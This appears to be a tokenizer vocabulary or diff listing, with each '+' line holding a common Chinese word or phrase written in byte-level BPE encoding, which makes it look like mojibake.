+æĮīè§Ħå®ļ +大æ¦Ĥæĺ¯ +æĥħåĨµè¿Ľè¡Į +åIJĦåįķä½į +çļĦç¬ij容 +åĩºèī²çļĦ +代表æĢ§ +çļĦç¾İ好 +éĴ¦ +å¾®çĶŁçī© +è¶Ĭæĺ¯ +æĸ¹åı¯ +å¹²èĦĨ +éģĬæĪ² +çļĦåħ´è¶£ +éĹ®è´£ +åĽłä¸ºæĪij们 +èĢĥéĩı +çĶŁçĶŁ +éĺ»åĬĽ +ä¸įåħģ许 +æıIJè®® +åĩıæĮģ +åıªæĺ¯ä¸Ģ个 +æĪijæĬĬ +åıijçݰèĩªå·± +å¢ŀå¹ħ +å¦į +èĹĿè¡ĵ +ä¸Ģ家人 +åĪĨ级 +çļĦæķ°éĩı +è½®èŀįèµĦ +çŃīåĽłç´ł +大夫 +èģĺ请 +é£İæľº +绽æĶ¾ +ä»»ä½ķä¸Ģ个 +éłĤ +éĺ¶çº§ +æĬĬ她 +è¿ĽåĨĽ +èĥ½åģļåΰ +åŁ¹è®ŃæľºæŀĦ +çĸĻ +ç«¥è¯Ŀ +æĮĩ导æĦıè§ģ +éĺ® +æ·±åħ¥æİ¨è¿Ľ +ä¸»æľº +æ¸Ķä¸ļ +ä¸įæľį +æµĵéĥģ +è¡Ĺä¸Ĭ +ä¾Ŀ次 +æĹ¶æ®µ +梵 +çļĦåĸľçα +å¾Īéķ¿ +åĪĿ级 +æŀľæĸŃ +æĬ¢æķij +é¼ĵèĪŀ +ä¾ĽéľĢ +æ·±åħ¥å¼Ģå±ķ +产ä¸ļéĽĨ群 +åĻªéŁ³ +åIJ¬çĿĢ +æ·±åĪ»çļĦ +å¿įåıĹ +ç͵ç£ģ +强èĢħ +æ»ĭåij³ +æĽ¼èģĶ +åı¯ä»¥çĽ´æİ¥ +大米 +æŃ·åı² +æĶ¿åĬ¡æľįåĬ¡ +åħ¬å¼ı +社群 +éģĵ士èģĮä¸ļ +ä¹ĭæĥħ +æµ·æ°´ +æ¼Ķå¥ı +åºĹéĩĮ +迹象 +åıijå±ķçIJĨ念 +é«ĺ空 +åij¨åĪĬ +åĽŀåΰäºĨ +ä¸įéĢĤåIJĪ +åłµå¡ŀ +åĬĪ +æ°´ä¸Ĭ +çĢijå¸ĥ +纳ç¨İ人 +çĩĥæ²¹ +å·¥ç¨ĭé¡¹çĽ® +峡谷 +æľīéĴĪ对æĢ§ +åľĨå½¢ +æľ¬å¸Ĥ +è¿Ļè¯Ŀ +管çIJĨèĢħ +ç¡®è¯ĬçĹħä¾ĭ +æĬĬæīĭ +彩èī² +ä¸Ĭåīį +夯å®ŀ +ç¾ĬèĤī +å¾Ģå¹´ +æĵħèĩª +迷人 +èĪªæ¯į +ç²¾ç»Ĩ +åľ¨æĪijçļĦ +åĪĽæĬķ +麦åħĭ +æľĪç»ı +åĮĹæµ· +ä¹ĭæĺŁ +åı¶åŃIJ +å¸Ĥåľºç«ŀäºī +è¿Ļäºĭ +åıĥèĪĩ +äº§åľ° +åĶī +åķĨåĵģæĪ¿ +èĪªè¿IJ +ä¼ĺå¼Ĥ +ä»ĸ们æĺ¯ +éĽ¨æ°´ +è¯įæ±ĩ +åĨľçͰ +欧éĺ³ +çŁŃ线 +管ç½ij +æł¹åŁº +åıªæľīä¸Ģ个 +éŀĭåŃIJ +å¸Ĥå§Ķ书记 +åĪ»æĦı +è¡Į车 +åıĪ被 +åı¯éĿłæĢ§ +è´± +ä»»åij½ +åºĶåľ¨ +å°±å¾Ĺ +æľįåĬ¡ä½ĵç³» +æĶ¿æĿĥ +åıijè¨Ģ人 +è¿ĩå¾Ģ +两åıª +èĻ½è¯´ +éĢģä¸Ĭ +ä»Ģä¹Īäºĭ +æķ£æĸĩ +æİĮæİ§ +èĸĦå¼± +ä¸ĭéĿ¢å°± +主è¦ģåĨħ容 +å¾Īéĩįè¦ģçļĦ +就说 +çϽèī²çļĦ +éĤ£ä¸ªæĹ¶åĢĻ +ç»ı纪人 +çļĦæ¯į亲 +ç¬Ķè®°æľ¬ +åºķå±Ĥ +è¿ij代 +解说 +è²łè²¬ +æľĢ大åĮĸ +åķĨéĵº +æł¡åıĭ +æ²ģ +ä¸įåĩºæĿ¥ +éĻ·éĺ± +ç¨ħ +åħ¬å¸ĥäºĨ +åĩĢå̼ +çĽ¸å¯¹è¾ĥ +笼 +æł¸ç®Ĺ +åįİ侨 +æĢ¥æķij +æĮºå¥½ +åħĴç«¥ +äºĮèĥİ +åĩºèĩª +åĿŁ +æīĭä¸ĭ +屡 +åĪĽéĢłæĢ§ +ä¸¥æł¼æĮīçħ§ +åĨįåİ» +举缣 +人æµģ +äºĨä¸Ģ声 +å°ıæĹ¶åīį +è´µæĹı +éľĸ +ä¹Łæĺ¯éĿŀ常 +é̱ +çľĭäºĨçľĭ +ç¹ģæ®ĸ +èĩ³æŃ¤ +é¢Ħå¤ĩ +å¾Īæĺİæĺ¾ +æ¼Ķèīº +åĿIJçĿĢ +ä¿ĦåĨĽ +åľ¨è¿ĩåİ» +ä¹ĭäºĭ +æĬĵèİ· +åĿIJä¸ĭ +çͱä¸ŃåĽ½ +ä¹Łå¼Ģå§ĭ +çŃĶå¤į +åŀĥåľ¾åĪĨç±» +éĴĵé±¼ +åIJĦ種 +缸éģĩ +ä¸įåģľçļĦ +æī¹éĩı +éĩįè¦ģä½ľç͍ +å§Ķå±Ī +åħŃå¹´ +ä¸ĥåįģ +ä¹ĭæĪĺ +é£İéĻ©ç®¡çIJĨ +éŁ³æ¨Ĥ +è¡ĮæĶ¿å¤Ħç½ļ +æľ¬äºĭ +æĴ°åĨĻ +èģļåIJĪ +éĢĤæĹ¶ +æIJ¬å®¶ +ç¢İçīĩ +çĽĽå®´ +ç®Ģæ´ģ +åı¬éĽĨ +ç®ĢåĮĸ +åĮĹ京æĹ¶éĹ´ +第ä¸īå±Ĭ +æĿ¥åĽŀ +常ç͍çļĦ +京津 +京津åĨĢ +梦幻 +è¯ķè¡Į +æľºåºĬ +åΰæľĢåIJİ +åĬ©æīĭ +åĪĨ彩 +åĩºåĵģ +åĪ¹è½¦ +åIJ¯åıij +ä¾§éĿ¢ +æ¯ıå½ĵ +缸åħ³è§Ħå®ļ +ä¸ĸ人 +è´Ń车 +å¿ĥ缮 +å¿ĥ缮ä¸Ń +äºĶéĩij +è¿ĺè®°å¾Ĺ +ä¾ĿçĦ¶æĺ¯ +æıIJæ¡Ī +ç͵åķĨå¹³åı° +åģļåΰäºĨ +æĿľç»Ŀ +å®īåįĵ +ä¸ĸçķĮåIJĦåľ° +åīįéĢĶ +æ´ĹåĩĢ +å¥ĭåĬĽ +åŁİå¸Ĥ建设 +å¤ļåĬŁèĥ½ +ä¼ļéĢłæĪIJ +åıijå¸ĥä¼ļä¸Ĭ +究竣æĺ¯ +åĪĨ红 +çŁ¥èŃĺ +éĿ¢æĿ¿ +æĹłå£° +æĢ¥éľĢ +å¤±çľł +çΏå¦Ī +äºĤ +åħ¨æĻ¯ +ç»ıåħ¸çļĦ +åī§ä¸Ń +é¢Ĩ导ä¸ĭ +åħļåĨħ +åħ¥ä¾µ +æĭīæĸ¯ +ä¸Ģå¹ķ +åĬłä¹ĭ +èĤĨ +èĭ±æł¼ +èĭ±æł¼åħ° +å·§åħĭ +å·§åħĭåĬĽ +ä¸Ģå¿ĥ +èģĤ +å¾Ģå¾Ģæĺ¯ +管çIJĨå±Ĥ +çĻ»åħ¥ +建ç«ĭèµ· +å»ºåĽ½ +åŃIJ宫 +åºĶä»ĺ +æİ¢ç©¶ +第ä¸Ģä½į +ä½Ļå®¶ +çŃīæ´»åĬ¨ +æīĢèĩ´ +è¾ĥå¿« +æĺ¯éĿŀ +æıIJåIJį +äºĮèĢħ +åıªåī©ä¸ĭ +åħ¶ä¸ŃåĮħæĭ¬ +ç¼ĸç¨ĭ +çł´ç¢İ +ä¸Ń举 +å·¥ä½ľæĬ¥åijĬ +çѾåIJį +éħĴä¸ļ +çŁ¥æĻĵ +çĥŃå¿ĥ +éĿŀåĩ¡ +èIJ¥ä¸ļæī§ +èIJ¥ä¸ļæī§çħ§ +人大代表 +ä¸Ģ个æĸ°çļĦ +å¨ģæµ· +éĤ£äºº +涨价 +æ¶ĪçģŃ +éļ¾å¿ĺ +ç¶ĵé©Ĺ +åı£è¢ĭ +ç³»æķ° +æĸĩä¸Ń +好转 +æĸ°éĽ¶åĶ® +讲述äºĨ +å¼ĢçĽĺ +çķĻç»Ļ +æħ¢æħ¢çļĦ +æĤ²ä¼¤ +æľ¬æľŁ +äºĨå¤ļå°ij +è¿Ļ让 +åIJĮçŃī +æ¸ħæĺİ +个åŁİå¸Ĥ +æºĸåĤĻ +åĩłä¹İæĺ¯ +强åĬĽ +俯 +水稻 +åĽºå®ļçļĦ +æł¸åĩĨ +说æľį +顯示 +è¿Ļå¥Ĺ +æĻºæħ§åŁİå¸Ĥ +å±ĭé¡¶ +ä¸įæĿ¥ +çĶŁé²ľ +çŁ¥æĥħ +æĬķ身 +åijĬè¯īæĪij们 +ä¸īåĽĽ +ä¸ĩä¸Ģ +è¾Ĩ车 +为ä¹ĭ +åΰæĹ¶åĢĻ +è¿Ļæīįæĺ¯ +åIJįçīĮ +åºŁæ°´ +åݻ年åIJĮæľŁ +å¹´éĻIJ +éģĭåĭķ +åıĮçľ¼ +è¦ģç´§ +对çŃĸ +åľºé¦Ĩ +çϾç§ij +è¶Ĭéĩİ +å¯ĮåIJ« +大å¤ļæķ°äºº +æľĢå°ij +åı¬åͤ +åħ¸èĮĥ +åĨľæľº +æŃ£æĸĩ +åºĶç͍äºİ +æ·±èĢķ +ä¿Ń +ä»Ģä¹Īä¸ľè¥¿ +å¥Ĺé¤IJ +å½ĵéĢī +å·¦æīĭ +è°ĥçIJĨ +æĻļé¤IJ +éļ¾åħ³ +åĩŃè¯ģ +çĪ±äºº +æĮĩè´£ +è´£ç¼ĸ +çļĦä¸Ģ款 +éĵ² +åįģ个 +èĢ» +æľįåĬ¡åķĨ +åľ°çĭ± +è¿ŀå¿Ļ +åĽ°æĥij +çļĵ +ä¸įåIJĥ +çİ°åľ¨å·²ç»ı +çĽĺçĤ¹ +ä¸įåģľåľ° +管çIJĨ模å¼ı +è¿Ļ段æĹ¶éĹ´ +椰 +礼åĮħ +æµģ转 +æī«çłģ +éĽĨä¸Ńåľ¨ +æ±ĤåĬ© +åįĬ个 +å¿«éĢŁå¢ŀéķ¿ +å¾Ģä¸ĭ +è¯ĦåĪĨ +å°±æĥ³ +åķĨåĬ¡éĥ¨ +æľīéĹ®é¢ĺ +èİ·åĪ© +æ¯ĽçĹħ +æĦŁåºĶ +è̧ +åĪĨæŃ§ +åĨī +æĪij们çİ°åľ¨ +è¦ģåĬłå¼º +å·§å¦Ļ +èŀºæĹĭ +åĪĩæį¢ +çĭĦ +顺çķħ +å°¤åħ¶æĺ¯åľ¨ +èĬĿ麻 +éļ¾è¿ĩ +æĹĹå¸ľ +å¤įåį° +å¤įåį°ä»¶ +å¿ħéľĢ +对å¤ĸå¼ĢæĶ¾ +éļ¾åıĹ +åİŁæĿ¥æĺ¯ +ç®ĹäºĨ +é«ĺå±± +离èģĮ +çµĦç¹ +çµĦç¹Ķ +å±ģèĤ¡ +çϾ家 +éģĩä¸Ĭ +æĺĶæĹ¥ +ä¸į容 +çĽij管éĥ¨éŨ +主æĦı +æµģåŁŁ +è·Įå¹ħ +èĩ³ä¸Ĭ +åĪ«è¯´ +æĺ¯æ¯Ķè¾ĥ +å®ıè§Ĥç»ıæµİ +å¸Ĥåľºä¸»ä½ĵ +污æŁĵçī© +æķijæ²» +丰æĶ¶ +åŃĺæĶ¾ +åĩĦ +éĩijå±± +æį¢äºĨ +ä¸ĵ人 +éĹľæĸ¼ +æĹ¢è¦ģ +åĽ½è¶³ +éļĭ +åıįåĩ» +起身 +åħĪæĺ¯ +å¸ĮæľĽèĥ½å¤Ł +åĪ¶è®¢ +åºĹéĿ¢ +åĸĢ +æķĻä½ł +éĻ῏© +åĬĽæ±Ĥ +ä¸īçϾ +çī©ä»· +丢失 +å¢Ļä¸Ĭ +éĥ¨ä»½ +æł·æĿ¿ +ä¹ĭæĦı +ç½ijå°ıç¼ĸ +ä¸ĸä¸Ĭ +è°ĥè¯ķ +污æŁĵéĺ²æ²» +å½±éĻ¢ +å®Įåħ¨åı¯ä»¥ +éĢļåħ³ +ä¹īåĬ¡æķĻèĤ² +没æľīåĬŀæ³ķ +èĢ¿ +妳 +æĹłæĥħ +å¾ĹçĽĬ +å¾ĹçĽĬäºİ +æľŁçĽ¼ +娱ä¹IJåľº +çͲæĸ¹ +ä¸Ģæ±½ +çŰ +çĸijä¼¼ +æĸ°æµªå¾®åįļ +强è¡Į +å½ĵä»ĸ +èĥº +ç͍æĪ·æıIJä¾Ľ +åĮºå§Ķ +æĦ¿æĻ¯ +æĬĺæī£ +失踪 +è¿«åĪĩ +åŃĹæ¯į +åĴ¯ +èªįèŃĺ +ä»Ģä¹ĪæĦıæĢĿ +çĽĴåŃIJ +å½ķéŁ³ +建设工ç¨ĭ +ä¸ļä½Ļ +å®ŀ践活åĬ¨ +çľŁç©º +çĤĸ +åľ¨è·¯ä¸Ĭ +主è¦ģåĮħæĭ¬ +该æĢİä¹Ī +æĢ»æľī +æĢ§æĦŁ +æ°ijèĪª +å¼ĢåºĹ +欺éªĹ +çªģåĩ» +缺失 +æī§ä¸ļ +åľ°éģĵ +å¹¶æĹł +æ°ijåĬŀ +ç»Ħç»ĩçĶŁæ´» +æĪijå¦Ī +è¨ĺèĢħ +管åζ +æī¾ä¸ª +èĹ» +çĤİçĹĩ +äºĴåĬ© +æµıè§Īåύ +çݩ家æĿ¥è¯´ +éĻįä½İäºĨ +è£Ķ +æĮ£éĴ± +åķĨæľº +æĶ¹è£ħ +æµģ浪 +æĶ¿æ³ķ +èĢģ头 +çĶŁäº§åĴĮ +ç©Ĺ +亲çα +亲çαçļĦ +å±¥èģĮ +åŁİéĩĮ +ç»ĨåĪĨ +åĬ³åĬ¨åIJĪåIJĮ +åľ¨æĹ¥æľ¬ +å¨ģå°Ķ +åį«è§Ĩ +éĢ£çµIJ +çĿĢéĩį +æĬĺ磨 +åĽ¾ä¸º +çľ· +å·¥åºı +æĵģ +æĵģæľī +ç½ijç«Ļåľ°åĽ¾ +çļĦä¸Ģ大 +ç»Ħç»ĩå®ŀæĸ½ +æĬĽå¼ĥ +åĴĮæĶ¯æĮģ +æ³ķåĪĻ +浪潮 +çݰæľīçļĦ +åĩłçİĩ +为客æĪ· +åįģä¸ĩ +è¹Ħ +çªģåĩºéĹ®é¢ĺ +åıĥåĬł +éĥ½ä¼ļæľī +缤 +è°ģéĥ½ +æīĭåĬ¨ +çĽ´è¾¾ +çĤ¹å¤ļ +éĺ¶å±Ĥ +ä¸įä½³ +éĤ£æ®µ +滨海 +æĺ¯åĽ½åĨħ +æĪijå¸ĮæľĽ +åIJĽåŃIJ +è§ĤéŁ³ +åģļé¥Ń +æ±½è»Ĭ +åħ³ç¨İ +çľ¼åīįçļĦ +æ°´éĿ¢ +èĢ³æľº +追踪 +æİ¨éĢģ +éĴ±åĮħ +æģ¶å¿ĥ +æµ·åŁŁ +å·į +å¼ĢæĿ¥ +表æĢģ +仪表 +å¹³åİŁ +åįģå¤ļå¹´ +ä¹ŁæĹłæ³ķ +åħ¼é¡¾ +è¡£æŁľ +æł½åŁ¹ +æĪ¿æºIJ +设ç«ĭäºĨ +ä¸ĩåIJį +æķ°é¢Ŀ +è¦ģåĿļæĮģ +åIJīæŀĹçľģ +请èģĶç³» +ç»ıåİĨè¿ĩ +çļĦæľ¬è´¨ +åħ¥éŨ +æľ¬æ¡Ī +çİĩè¾¾åΰ +åı°éĺ¶ +éĴŀ +æĪijèĥ½ +èݲèĬ± +éĴł +ä¸Ģäºĭ +åİŁæľīçļĦ +æ¯ıåĢĭ +æ¯Ķäºļ迪 +æ£ĭçīĮ游æĪı +ä¸įä¼ļæľī +å½ĴæĿ¥ +äºĶçϾ +è¿ĩé«ĺ +éĽ·è¾¾ +ä¸Ģèµ·åİ» +æķĻ导 +å°±è¯Ĭ +å°±å¾Ī +ä¸įåIJĮäºİ +俺 +å¸ĸåŃIJ +æĶ¿åįıå§Ķåijĺ +çĸ«æĥħå½±åĵį +åĪĨè£Ĥ +为ä»Ģä¹Īä¼ļ +äºĶæĺŁ +å°ijåĦ¿ +æĬ¢éĻ© +梦è§ģ +è®°èĢħéĩĩ访 +山路 +æĪij个人 +æ²Ļ滩 +è¹Ń +æĶ¹è®Ĭ +æĸ°åŀĭåĨł +æĸ°åŀĭåĨłçĬ¶ +åĮ»æĬ¤ +åĮ»æĬ¤äººåijĺ +æµ·å°Ķ +åħ³äºİæĪij们 +éϤå¤ĸ +åºļ +宣åijĬ +ä¸īåįĥ +榨 +ç§ijæĬĢ大åѦ +ä¸ĥåħ« +顺åºĶ +çΏçΏå¦Īå¦Ī +éĢīåıĸ +åī§çĥĪ +乡æĿijæĹħ游 +积æŀģæİ¢ç´¢ +表çݰ为 +å¾Īæ¸ħæ¥ļ +大åĨĽ +æĿ¥ç͵ +å¥ĹæĪ¿ +çݰè¡Į +享åıĹåΰ +çľĭçĤ¹ +åĽºå®ļèµĦ产 +以人为 +ä»¥äººä¸ºæľ¬ +ä¸įå®Į +éĻį鼨 +åģļçļĦäºĭæĥħ +å¹¶äºİ +顽强 +è̏ +åĺ´å·´ +缸åħ³ä¿¡æģ¯ +æĪij没 +æĪĺçķ¥æĢ§ +æĢĿ念 +åĪĺå¤ĩ +åĬ©æĶ» +é£İè²Į +éĿ¢å¯¹éĿ¢ +积æŀģå¼Ģå±ķ +çĸĹæķĪ +çľĭ书 +缺åı£ +åĽ½æ°ijç»ıæµİ +使ç͍æĿĥ +éģ¥è¿ľ +å¡«è¡¥ +第ä¸ī人 +åįĬå¤ľ +æŃ¦æ±īå¸Ĥ +æĪijåıijçݰ +ä¼ĺæĥłæĶ¿çŃĸ +é£İåı£ +å°±ä¸įèĥ½ +为主è¦ģ +æµģåĩº +å´ĩæĭľ +å¹¶ä¸įèĥ½ +é«ĺä¸ī +ä¸ĸçķĮä¸ĬæľĢ +æĥ³å¿ħ +åħ¶æīĢ +åĢĻéĢī +åĢĻéĢī人 +ä¸įçα +åī¯ä½ľç͍ +人æ°ijæĹ¥æĬ¥ +æĪijä¸įæĺ¯ +å®ŀçī© +ç͵åİĤ +ä¹Łç®Ĺæĺ¯ +æľīéĹľ +æľīèĥ½åĬĽ +æĮĤåľ¨ +çľ¼ä¸ĭ +约翰 +å°ıåѦçĶŁ +èµ·åΰäºĨ +工夫 +åIJĮå¿ĥ +åĿ¦è¨Ģ +çłĮ +åıijæĮ¥äºĨ +èģĮä¸ļéģĵå¾· +è¿ĻäºĽå¹´ +念头 +èĢģé¼ł +åħ¨èµĦ +åħ¨èµĦåŃIJ +ä¸Ģåij³ +å¤ļä¸ĩåħĥ +æł¼æľĥ +éķ¿éĢĶ +带走 +èĭ±å¯¸ +æĸĩä½ĵ +对ä»ĸ们 +åĵŃäºĨ +å¡«æĬ¥ +çīĪæĿĥ声æĺİ +çĶµçº¿ +è´Ńçī©ä¸Ńå¿ĥ +饱满 +ä½İ头 +强迫 +ä¿Ŀæ´ģ +欧åĨł +缸è¿ŀ +认è´Ń +çģ«æĺŁ +é«ĺå°Ķ +é«ĺå°Ķ夫 +èij«èĬ¦ +æłĩ注 +çļĦçIJĨæĥ³ +æł¸éħ¸ +æł¸éħ¸æ£Ģæµĭ +åĬī +ä¸Ģèάæĺ¯ +æĢĿç´¢ +轨迹 +çĥŃ带 +éĻ£ +åĩĨç¡®æĢ§ +æĪ´çĿĢ +åľ¨çĶŁæ´»ä¸Ń +æīĢèĥ½ +æľ¯åIJİ +å¸¦ä½ł +ç¥ł +æ®ĭéħ· +ä¹Łåıªæĺ¯ +çͳè´Ń +举åĬŀäºĨ +æľīæĦıä¹ī +æĹºçĽĽ +åľ¨ç¶² +åľ¨ç¶²è·¯ä¸Ĭ +å¾Ī大ç¨ĭ度 +管è¾ĸ +çĸ«æĥħæľŁéĹ´ +触æij¸ +éĺ¶æ®µæĢ§ +ä¼ļè§īå¾Ĺ +çļĦçĶ»éĿ¢ +æİ¥åıĹäºĨ +表达äºĨ +éĤĵå°ı +éĤĵå°ıå¹³ +åħļé£İ +åħļé£İå»īæĶ¿ +åķĨåѦéĻ¢ +åħijæį¢ +é£Łåĵģèį¯åĵģ +éĿŀ常好çļĦ +çľ¯ +纳米 +åĬ¨æijĩ +åĽŀéģ¿ +çľĭèijĹ +款项 +åħ«å¹´ +åģļ个 +æĸĩæ¡£ +éĩijèŀįç§ijæĬĢ +åħ¶ä¸Ńæľī +äºĨä¸Ģç³»åĪĹ +æĹĹèΰåºĹ +ç§°èµŀ +éĽ¢éĸĭ +åζåĨ· +å®¶éŨåı£ +åįģå¤ļ +ä¼´ä¾£ +çľĭçĹħ +æĭīçĿĢ +æīĴ +çĸ²æĥ« +å°ijæķ°æ°ijæĹı +åĽ¾å½¢ +è½§ +å¢ŀéĩı +饲åħ» +çģ«å±± +æ¯ı个æľĪ +ä½ľä¸ºä¸ĢåIJį +è½´æī¿ +æĸĩ书 +ç¼ķ +åħ·ä½ĵæĥħåĨµ +çĹĽçĤ¹ +缴éĶĢ +å¡Ĭ +ä¹Łæľĥ +çĥŃæ½® +å¹³æ°ij +æ¼Ķåͱä¼ļ +æķĻçłĶ +éĢĥéģ¿ +ä¸Ģè´¯ +å°±è¶Ĭ +å®ŀå®ŀåľ¨ +å®ŀå®ŀåľ¨åľ¨ +ä¹łè¿ijå¹³æĢ» +溺 +å¿ĥåºķ +éķ¿å¾ģ +媽媽 +第ä¸ī次 +åĩºæ¼Ķ +çĭĢæ³ģ +å°Ķæĸ¯ +代çIJĨåķĨ +çĨı +çļĦ对象 +ç͵éĩı +è¡ĮåĪĹ +åĽ½äºº +è·ijäºĨ +åįĶåĬ© +èIJ¥è¿IJ +å¸ĪåħĦ +榮 +æĥ³åĥı +æĢ§å¼º +ç§ijåѦçłĶç©¶ +å»¶å®ī +ä¸¥æł¼èIJ½å®ŀ +é¢Ĩä¼ļ +çĽ¸å·® +路人 +çĶ« +æľīä»·å̼ +æľīä»·å̼çļĦ +ç¾İåĽ¢ +æ°ij主çĶŁæ´» +æĪijæīį +ç¾İåĽ½äºº +æ°Ķåij³ +åıįå°Ħ +çļĦåĨ³å¿ĥ +大è±Ĩ +交代 +è¿Ľåĩº +åıįæĬĹ +æĮĩçļĦæĺ¯ +ä»·ä½į +è¿Ľé©» +ä¸ĬçϾ +ä½įåĪĹ +ä¸ŃåĽ½ä¼ģä¸ļ +çļĦ好å¤Ħ +主ç¼ĸ +汽油 +ä½ĨæĪij们 +æĢİä¹Īçľĭ +é»Ħå±± +å¤ļåªĴä½ĵ +åIJİåį« +èİ·å¾ĹæĽ´å¤ļ +åĬ¡å¿ħ +为å¥ijæľº +é¦ĸ饰 +ä¸ĩåįļ +è¶ĬæĿ¥è¶Ĭ大 +ä¸ĵ项è¡ĮåĬ¨ +å¥ĭè¿Ľ +ä»įçĦ¶æĺ¯ +è´¨æĦŁ +å¦Ĥæŀľä¸įæĺ¯ +ç«Ļèµ·æĿ¥ +ä¹¾éļĨ +åı¯æĢķçļĦ +å¯Įè´µ +æ¸ħç®Ĺ +åIJijä¸ĭ +åĢļ +çļĦçŃĶæ¡Ī +èιä¸Ĭ +çļĦ羣å®ŀæĢ§ +çŃīåĬŁèĥ½ +åĸľåī§ +å¨ģåĬĽ +æĸ°é¢ĸ +æł¸ç͵ +æĬ¥éĶĢ +æķħ乡 +ä¼´éļı +éŀŃ +å¦Ĭå¨ł +åĪĨåĮĸ +æľīå¾Ī大 +æĢİä¹Ī说 +æĻĤ代 +产åĩº +ä»ĭç»į说 +å¤ĦçIJĨåύ +èĨ¨èĥĢ +åī¯å¸Ĥéķ¿ +çļĦ妻åŃIJ +æł·åĵģ +åIJĮæ¯Ķä¸ĭéĻį +åħĥå·¦åı³ +ç͍èĩªå·±çļĦ +é«ĺéĽĦ +æĺ¥æĻļ +ä¹Łæľīå¾Īå¤ļ +çľ¼çIJĥ +æķ£æŃ¥ +ä»ĸ们éĥ½ +第ä¸Ģå®¶ +åĬŀ好 +å®īéĺ² +ä¸Ģä¸ĩ +åľ¨éĩĮéĿ¢ +éŁ³é¢ij +åı£åı· +ä¸Ģè¶Ł +ç¦ıçī¹ +é³ŀ +æĥĬèī³ +æĸ°å¨ĺ +绿èī²åıijå±ķ +ä¸Ńå¼ı +ä¹Łåıªæľī +çݰ身 +åı¯ä¾Ľ +æ¯ıä¸Ģ个人 +第ä¸īèĢħ +åľ°å½¢ +éĴ¢ç»ĵæŀĦ +çĽijçĿ£æ£ĢæŁ¥ +åı«æĪij +èĩ´æķ¬ +æ´Ĺæīĭ +ä¸ĭè°ĥ +康çĨĻ +æĪIJ交éĩı +ä¹ŁæĪIJ为 +åħīæ»ij +å®Įæķ´æĢ§ +çģ¼ +ç¶²éłģ +éķ¿å¯¿ +éģ©ç͍ +çļĦä¸Ģ项 +çŀ©çĽ® +æĬĬèĩªå·±çļĦ +éĵ¶è¡Įåį¡ +å°±å¿ħé¡» +ç¾İçϽ +éŀįå±± +æľ¬é¢Ĩ +ä¸Ģç¢Ĺ +æīĵæ³ķ +æĤ¨å¥½ +对åŃ©åŃIJ +æĬ¥éģĵç§° +ä¼łåĩº +大èĩ£ +ç¬ĭ +çĽı +é¾ļ +çĽ´çº¿ +æĻºåºĵ +ç§Łè½¦ +é£İåij³ +çľĭä¸Ģä¸ĭ +æİ¨éĶĢ +éĥ¨éĥ¨éķ¿ +è´¨éĩıåĴĮ +åĪĬçĻ» +å·¥ä¸ļåĮĸ +çİĩ为 +鼶件 +硬åĮĸ +ä¸Ĭåįĥ +ç»ıéªĮå̼ +å¹³è¡Į +声éģĵ +æľįåĬ¡è´¨éĩı +çĶŁçĶ¢ +æľĢ容æĺĵ +ä¸Ģæŀļ +å¹´æĬ¥ +åħ¬ç½ij +åħ¬ç½ijå®ī +åħ¬ç½ijå®īå¤ĩ +çļĦèĥ½éĩı +å®ŀéĻħè¡ĮåĬ¨ +è¦ģä¸įè¦ģ +æĹ¥æľ¬äºº +èĢ¶ç¨£ +ç¼ĸåī§ +æ¶© +åį°å°¼ +ä¸Ĭä¸ĭ游 +åĩłåı¥ +ä¸Ńéĵģ +ç°¡åĸ® +èĩªå¸¦ +çĶŁäºİ +ä¸Ģåı£æ°Ķ +åĭ¤å¥ĭ +éĻįä»· +å±ķçݰäºĨ +å¸ĥæĭī +ä¼ļéĢīæĭ© +çļĦç»ıåħ¸ +好æľĭåıĭ +车éģĵ +æķ´åĢĭ +åľĵ +éķ¿æľŁä»¥æĿ¥ +æĬķå½± +çļĩåĨł +è¿ĩ大 +åijĬè¯īä»ĸ +ä¼ģä¸ļæıIJä¾Ľ +æĬ½è±¡ +éĢĤ度 +çļĦ女åŃ© +èµ·ä¼ı +çļĦåĬŁæķĪ +ä¸ĵ项æķ´æ²» +åı¯éĢļè¿ĩ +ä¸įåIJĮç¨ĭ度 +å¼Ĥè®® +åĩĢèµĦ产 +åijĹ +ä»Ģä¹Īåij¢ +å·¡éĢ» +è¸ıä¸Ĭ +ä½Ĩå®ĥ +精度 +管å±Ģ +第ä¸ĢåIJį +åĨħåŃĺ +æijĨåľ¨ +åī©ä¸ĭ +主ä½ĵ责任 +çĤ¹åįĬ +以èĩ³äºİ +åħ»èĢģä¿ĿéĻ© +æĦŁåıĹåΰäºĨ +çŁ¥åIJįçļĦ +å¯Į豪 +妥åĸĦ +åŃĻåŃIJ +éĵĤ +说èĩªå·± +让æĤ¨ +æķ°æİ§ +çļĦçľ¼åħī +注éĶĢ +çļĦçģµéŃĤ +è¿ĺä¸įéĶĻ +éĹ®ä»ĸ +èĩªä¸»çłĶåıij +èĵĭ +ç´«èī² +åĽ½å®¶å®īåħ¨ +è¾½å®ģçľģ +ä¹Łæ¯Ķè¾ĥ +ç¾İèĤ¡ +ä¸įç¡®å®ļæĢ§ +å¿ĥ头 +æĪ³ +级åĪ«çļĦ +论述 +çļĦåĽŀçŃĶ +ä¿Ŀè¯ģéĩij +çŃīè¡Įä¸ļ +幸ç¦ıæĦŁ +æŃ§è§Ĩ +æľºç¥¨ +派人 +èĩ´åij½ +åĺ´è§Ĵ +æĸ°éĹ»ä¸Ńå¿ĥ +æĶ¾å¼ĥäºĨ +å®ľå±ħ +åĨĻä¸ĭ +éĹ®çŃĶ +è¿ĻéĩĮæĺ¯ +å¤ļåľ° +åĮºåŁŁåĨħ +åĸ° +çľĭä»ĸ +æī§æ³ķ人åijĺ +åĬ¨æľº +éŁ³åĵį +çļĦåij½è¿IJ +é¡¶éĥ¨ +åĵŁ +éĥ½æľĥ +æīĵéĢłæĪIJ +æĦıåĽ¾ +çļĸ +åĢĴåħ¥ +å·´èIJ¨ +åĬ©åѦ +å¤įåı¤ +åIJ¯ç͍ +åĽ½éĻħå¸Ĥåľº +åĤ¨èĥ½ +é»ijé¾Ļæ±Łçľģ +ä¹ĺ车 +è¿IJåĬ¨ä¼ļ +ä¿ĿåĪ© +çŁ³æĿIJ +çµ® +çĤĴä½ľ +çļĦä¿¡ä»» +å°±æĪIJäºĨ +åı¯è§Ĥ +çļĩä¸Ĭ +è¿Ļåĩłå¤© +ä¸ĢéĶ® +åĨ·åĨ» +ä¿Ŀåį« +æł¸æ¡ĥ +åIJĪä½ľåħ³ç³» +éĢģåĩº +æĹĹä¸ĭçļĦ +åľ¨ä¹İ +为广大 +åįĪé¤IJ +ä¸ĵ访 +æĪĸå°Ĩ +éĿĴå²Ľå¸Ĥ +å¥Ķè·ij +æĹ¥æĬ¥éģĵ 